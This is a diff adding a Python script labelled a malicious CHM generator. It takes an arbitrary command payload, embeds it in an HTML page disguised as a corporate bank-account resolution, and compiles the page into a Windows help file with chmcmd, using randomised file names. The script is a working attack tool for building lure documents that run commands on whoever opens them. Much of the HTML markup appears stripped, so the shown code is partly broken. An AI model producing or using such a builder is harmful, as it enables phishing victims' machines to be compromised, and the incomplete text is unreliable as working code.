diff --git a/gen-chm.py b/gen-chm.py new file mode 100644 index 0000000..54e771e --- /dev/null +++ b/gen-chm.py @@ -0,0 +1,92 @@ +#!/usr/bin/python +import argparse +import re, random +import string, os, os.path + +def rand_num(min, max): + return random.randrange(min, max) + +def gen_str(size): + return "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(size)) + + +def write_file(source,result): + try: + with open(source,"w+") as f: + f.write(result) + f.close() + except IOError: + print("Could not write source code: [{}]".format(source)) + quit() + +var1 = gen_str(rand_num(8,15)) +var2 = gen_str(rand_num(8,15)) +var3 = gen_str(rand_num(8,15)) + +hhp = """[OPTIONS] +Compiled file=%OUTPUT% +Contents file=%RAND%.hhc +[FILES] +%RAND2%.htm +""" + +hhc = """ + + + + + +""".replace("%CONTENT%",var3) + +start = """ +DOCUMENT + + + + + + + + + +Resolution to Open Bank Accounts + + + +
+

Resolution to Open Bank Accounts

+

WHEREAS, the Board of Directors has determined it to be in the best interest of the Corporation to establish a banking resolution with, be it:

+

RESOLVED, that the Corporation execute and deliver to said bank a duly signed original of the completed banking resolution as is annexed thereto, and that the authority to transact business, including but not limited to the maintenance of savings, checking and other accounts as well as borrowing by the Corporation, shall be as contained in said resolution with the named officers therein authorized to so act on behalf of the Corporation as specified hereto.

+

The undersigned hereby certifies that he/she is the duly elected and qualified Secretary and the custodian of the books and records and seal of ,a corporation duly formed pursuant to the laws of the state of and that the foregoing is a true record of a resolution duly adopted at a meeting of the and that said meeting was held in accordance with state law and the Bylaws of the above-named Corporation on ,and that said resolution is now in full force and effect without modification or rescission.

+

IN WITNESS WHEREOF, I have executed my name as Secretary and have hereunto affixed the corporate seal of the above-named Corporation this.

+


+ Secretary

+
+ + + +""" + +parser = argparse.ArgumentParser(description="Malicious Compiled HTML Help file (.CHM) Generator", formatter_class=argparse.RawTextHelpFormatter) +parser.add_argument("-c","--command", type=str, help="Command payload", required=True) +parser.add_argument("-o","--output", type=str, help="Name of output file", required=True) + +args = parser.parse_args() +output = args.output + +if os.path.exists('/usr/bin/chmcmd') == False: + print("[-] Please install package: apt install fp-utils") + quit() + +if output: + write_file("output.hhp",hhp.replace("%OUTPUT%",output).replace("%RAND%",var2).replace("%RAND2%",var3)) + write_file("{}.hhc".format(var2),hhc) + write_file("{}.htm".format(var3),start.replace("%COMMAND%",args.command)) + os.system("chmcmd output.hhp")